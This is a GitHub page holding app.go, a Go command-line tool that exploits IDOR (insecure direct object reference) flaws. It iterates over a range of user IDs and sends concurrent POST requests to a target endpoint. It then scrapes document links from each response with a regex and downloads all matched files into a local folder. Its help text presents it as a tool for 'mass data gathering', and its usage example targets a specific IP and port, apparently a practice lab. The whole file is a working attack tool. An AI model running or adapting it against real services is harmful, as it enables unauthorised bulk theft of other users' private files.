-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathapp.go
330 lines (278 loc) · 8.37 KB
/
app.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
package main
import (
"flag"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"regexp"
"strconv"
"strings"
"sync"
)
// Tool configurations
type Config struct {
URL string
RangeStart int
RangeEnd int
Endpoint string
Regex *regexp.Regexp
Concurrency int
}
func showBanner() {
fmt.Println(`
.%%%%%%..%%%%%....%%%%...%%%%%......%%%%%%..%%..%%..%%..%%..%%...%%.
...%%....%%..%%..%%..%%..%%..%%.....%%......%%%.%%..%%..%%..%%%.%%%.
...%%....%%..%%..%%..%%..%%%%%......%%%%....%%.%%%..%%..%%..%%.%.%%.
...%%....%%..%%..%%..%%..%%..%%.....%%......%%..%%..%%..%%..%%...%%.
.%%%%%%..%%%%%....%%%%...%%..%%.....%%%%%%..%%..%%...%%%%...%%...%%.
......................By: github.com/0xBl4nk........................
`)
}
// Function to display the help
func showHelp() {
helpText := `
Usage: idor_enum_post -u URL -r RANGE -e ENDPOINT [options]
Enumerates IDOR (Insecure Direct Object References) on a web server for mass data gathering.
Mandatory options:
-u URL Base URL of the target server (e.g., http://SERVER_IP:PORT)
-r RANGE Range of IDs in the format START-END (e.g., 1-100)
-e ENDPOINT Endpoint with 'UID' as a placeholder (e.g., /documents.php?uid=UID)
Optional options:
-p REGEX Regular expression to capture file links
-c CONCURRENCY Number of simultaneous downloads
-h, --help Displays this help message
Example of use:
idor_enum_post -u http://83.136.251.168:53688 -r 1-20 -e "/documents.php?uid=UID" -p "/documents/.*\\V\.(txt|pdf)" -c 5
`
fmt.Println(helpText)
}
func parseFlags() (*Config, error) {
url := flag.String("u", "", "Base URL of the target server (e.g., http://SERVER_IP:PORT)")
rangeFlag := flag.String("r", "", "Range of IDs in the format START-END (e.g., 1-100)")
endpoint := flag.String("e", "", "Endpoint with 'UID' as a placeholder (e.g., /documents.php?uid=UID)")
regexFlag := flag.String("p", "/documents/.*?\\.[a-zA-Z0-9]+", "Regular expression to capture file links (default: '/documents/.*?\\.[a-zA-Z0-9]+')")
concurrency := flag.Int("c", 5, "Number of simultaneous downloads (default: 5)")
help := flag.Bool("h", false, "Displays this help message")
helpLong := flag.Bool("help", false, "Displays this help message")
flag.Parse()
if *help || *helpLong {
showHelp()
os.Exit(0)
}
// Validate mandatory parameters
if *url == "" || *rangeFlag == "" || *endpoint == "" {
return nil, fmt.Errorf("error: the parameters -u, -r, and -e are mandatory")
}
// Validate URL
if !(strings.HasPrefix(*url, "http://") || strings.HasPrefix(*url, "https://")) {
return nil, fmt.Errorf("error: invalid URL. It must start with http:// or https://")
}
// Validate Range
rangeParts := strings.Split(*rangeFlag, "-")
if len(rangeParts) != 2 {
return nil, fmt.Errorf("error: invalid RANGE. It must be in the format START-END")
}
start, err := strconv.Atoi(rangeParts[0])
if err != nil || start <= 0 {
return nil, fmt.Errorf("error: START of RANGE must be a positive number")
}
end, err := strconv.Atoi(rangeParts[1])
if err != nil || end <= 0 {
return nil, fmt.Errorf("error: END of RANGE must be a positive number")
}
if start >= end {
return nil, fmt.Errorf("error: START of RANGE must be less than END")
}
// Compile the regular expression
regex, err := regexp.Compile(*regexFlag)
if err != nil {
return nil, fmt.Errorf("error: invalid regular expression: %v", err)
}
// Validate concurrency
if *concurrency <= 0 {
return nil, fmt.Errorf("error: CONCURRENCY must be a positive number")
}
config := &Config{
URL: strings.TrimRight(*url, "/"),
RangeStart: start,
RangeEnd: end,
Endpoint: *endpoint,
Regex: regex,
Concurrency: *concurrency,
}
return config, nil
}
// Function to replace 'UID' in the endpoint
func replaceUID(endpoint string, uid int) string {
return strings.ReplaceAll(endpoint, "UID", strconv.Itoa(uid))
}
// Function to extract links using regex
func extractLinks(body string, regex *regexp.Regexp) []string {
matches := regex.FindAllString(body, -1)
return matches
}
// Function to download a file
func downloadFile(url string, downloadDir string, client *http.Client, mutex *sync.Mutex) {
// Create GET request
resp, err := client.Get(url)
if err != nil {
mutex.Lock()
fmt.Printf("Failed to download: %s | Error: %v\n", url, err)
mutex.Unlock()
return
}
defer resp.Body.Close()
// Check status code
if resp.StatusCode != http.StatusOK {
mutex.Lock()
fmt.Printf("Failed to download: %s | HTTP Status: %d\n", url, resp.StatusCode)
mutex.Unlock()
return
}
// Extract the filename
parts := strings.Split(url, "/")
filename := parts[len(parts)-1]
filepath := filepath.Join(downloadDir, filename)
// Create the file
file, err := os.Create(filepath)
if err != nil {
mutex.Lock()
fmt.Printf("Failed to create file: %s | Error: %v\n", filepath, err)
mutex.Unlock()
return
}
defer file.Close()
// Write content to the file
_, err = io.Copy(file, resp.Body)
if err != nil {
mutex.Lock()
fmt.Printf("Failed to save file: %s | Error: %v\n", filepath, err)
mutex.Unlock()
return
}
// Inform success
mutex.Lock()
fmt.Printf("Downloaded: %s\n", url)
mutex.Unlock()
}
func main() {
showBanner()
config, err := parseFlags()
if err != nil {
fmt.Println(err)
showHelp()
os.Exit(1)
}
// Create download directory if it doesn't exist
downloadDir := "downloads"
err = os.MkdirAll(downloadDir, os.ModePerm)
if err != nil {
fmt.Printf("Error creating download directory: %v\n", err)
os.Exit(1)
}
fmt.Println("Starting ID enumeration and link extraction...")
// Map to store unique links
linksMap := make(map[string]struct{})
var mapMutex sync.Mutex
// HTTP client with timeout
client := &http.Client{}
// WaitGroup to wait for all ID requests
var enumWG sync.WaitGroup
// Mutex to prevent concurrent prints
var mutex sync.Mutex
// Iterate over the range of IDs
for uid := config.RangeStart; uid <= config.RangeEnd; uid++ {
enumWG.Add(1)
go func(uid int) {
defer enumWG.Done()
fullEndpoint := replaceUID(config.Endpoint, uid)
fullURL := config.URL + fullEndpoint
// Create the POST request body
formData := "uid=" + strconv.Itoa(uid)
req, err := http.NewRequest("POST", fullURL, strings.NewReader(formData))
if err != nil {
mutex.Lock()
fmt.Printf("UID %d: Error creating request: %v\n", uid, err)
mutex.Unlock()
return
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
// Perform HTTP POST request
resp, err := client.Do(req)
if err != nil {
mutex.Lock()
fmt.Printf("UID %d: Error accessing URL: %v\n", uid, err)
mutex.Unlock()
return
}
defer resp.Body.Close()
// Check status code
if resp.StatusCode != http.StatusOK {
mutex.Lock()
fmt.Printf("UID %d: HTTP %d\n", uid, resp.StatusCode)
mutex.Unlock()
return
}
// Read the response body
bodyBytes, err := io.ReadAll(resp.Body)
if err != nil {
mutex.Lock()
fmt.Printf("UID %d: Error reading response: %v\n", uid, err)
mutex.Unlock()
return
}
body := string(bodyBytes)
// Extract links using regex
links := extractLinks(body, config.Regex)
if len(links) == 0 {
return
}
// Add links to the map in a thread-safe manner
mapMutex.Lock()
for _, link := range links {
linksMap[link] = struct{}{}
}
mapMutex.Unlock()
}(uid)
}
// Wait for all enumeration requests to complete
enumWG.Wait()
// Extract unique links
var uniqueLinks []string
for link := range linksMap {
uniqueLinks = append(uniqueLinks, link)
}
// Check if any links were found
if len(uniqueLinks) == 0 {
fmt.Println("No links found.")
os.Exit(0)
}
fmt.Println("Links successfully extracted. Starting downloads...")
// Channel for downloads
downloadChan := make(chan string, len(uniqueLinks))
// Send links for download
for _, link := range uniqueLinks {
downloadChan <- link
}
close(downloadChan)
// Limit concurrency using a semaphore
semaphore := make(chan struct{}, config.Concurrency)
// WaitGroup for downloads
var wg sync.WaitGroup
// Download files
for link := range downloadChan {
wg.Add(1)
semaphore <- struct{}{}
go func(link string) {
defer wg.Done()
fullLink := config.URL + link
downloadFile(fullLink, downloadDir, client, &mutex)
<-semaphore
}(link)
}
// Wait for all downloads to complete
wg.Wait()
fmt.Printf("Process completed. Downloaded files are in '%s/'.\n", downloadDir)
}